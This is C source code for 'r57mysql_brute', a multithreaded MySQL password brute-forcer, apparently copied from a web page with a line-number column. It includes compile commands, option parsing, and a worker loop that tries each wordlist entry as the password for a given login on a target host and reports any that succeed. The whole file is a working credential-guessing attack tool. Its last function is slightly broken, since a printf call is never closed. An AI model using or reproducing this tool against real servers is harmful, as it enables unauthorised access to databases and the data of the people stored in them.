./c0de/c/mysqlbrute.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.
124.
125.
126.
127.
128.
129.
130.
131.
132.
133.
134.
135.
136.
137.
138.
139.
140.
141.
142.
143.
144.
145.
146.
147.
148.
149.
150.
151.
152.
153.
/*
r57mysql_brute - little bruteforce tool for MySQL
 
compile:
gcc -c `mysql_config --cflags` r57mysql_brute.c
gcc -o r57mysql_brute r57mysql_brute.o `mysql_config --libs` -lpthread
*/
 
#include <stdio.h>
#include <unistd.h>
#include <mysql.h>
#include <pthread.h>
 
#define SZ 0x32
#define TN 50 // threads number
 
void header();
void usage(char *);
void *check(void *);
 
// globals
pthread_mutex_t mtx = PTHREAD_MUTEX_INITIALIZER;
FILE *wordlist;
char *login = NULL;
char *host  = NULL;
char *file  = NULL;   
int  port   = 0;
int  verbose = 0;
int all = 0;
int found = 0;   
char res[SZ];
int count = 0;
 
int main(int argc, char *argv[])
{
pthread_t tid[TN];
char c;
int  i = 0;
 
while((c = getopt(argc, argv, "h:p:l:w:v"))!= EOF)
  {
   switch (c)
    {
    case 'h':
     host=optarg;
    break;
    case 'l':
     login=optarg;
    break;
    case 'w':
     file=optarg;
    break;
    case 'p':
     port=atoi(optarg);
    break;
    case 'v':
     verbose = 1;
    break;
    default:
     usage(argv[0]);
    break;         
    }
  }
 
if(file==NULL||login==NULL) usage(argv[0]);
header();
 
if((wordlist = fopen(file, "r")) == 0)
  {
  printf("[-] Can't open wordlist file %s\n",file);
  exit(1);
  }   
 
printf("[!] Bruteforce in progress...\n");
 
for(i=0;i<TN;i++)
  {   
  pthread_create(&tid[i], NULL, check, NULL);
  pthread_detach(tid[i]);
  }
 
while(!all) { sleep(1); }
 
pthread_mutex_destroy(&mtx);
fclose(wordlist);
 
if(!verbose) printf("\n");
printf("################################################\n");
printf("[+] Bruteforce complete\n");
printf("################################################\n");
if(found) printf("[+] FOUND PASSWORD : %s\n",res);
else printf("[-] PASSWORD NOT FOUND\n");
printf("################################################\n");   
}
 
 
void *check(void *arg)
{
MYSQL *conn;
char passwd[SZ];
 
conn = mysql_init(NULL);
 
while(1)
  {   
   pthread_mutex_lock(&mtx);
   if(all||found) { pthread_mutex_unlock(&mtx); break; }   
   if(feof(wordlist)){ all = 1; pthread_mutex_unlock(&mtx); break; }
   fgets(passwd,SZ,wordlist);     
   if(passwd[strlen(passwd)-1] == '\n') passwd[strlen(passwd)-1] = '\0';
   count++;     
   pthread_mutex_unlock(&mtx);
 
   if(!verbose)
    {   
    printf("\r[~] Trying ... [ %d ]",count);
    fflush(stdout);   
    }   
 
   if(mysql_real_connect(conn, host, login, passwd,NULL,port,NULL,0))
    {   
    pthread_mutex_lock(&mtx);
    all = found = 1;
    strcpy(res,passwd);
    if(verbose) printf("[%s:%s] - [ DONE ] - Password found!\n",login,passwd);     
    pthread_mutex_unlock(&mtx);     
    break;
    }
   else
    {     
    if(verbose) printf("[%s:%s] - [ FAIL ] - %d %s\n",login,passwd,mysql_errno(conn),mysql_error(conn));
    }
  }
return NULL;
}
 
void usage(char *name)
{
header();
printf("Usage: %s -l <login> -w <wordlist> [options]\n",name);
printf("Options:\n");
printf("  -h <host> - MySQL host\n");   
printf("  -p <port> - MySQL port\n");
printf("  -v        - verbose output\n");     
exit(0);   
}
 
void header()
{
printf("################################################\n"
       "# r57mysql_brute - little bruteforce for MySQL #\n"
       "################################################\n"
}

Back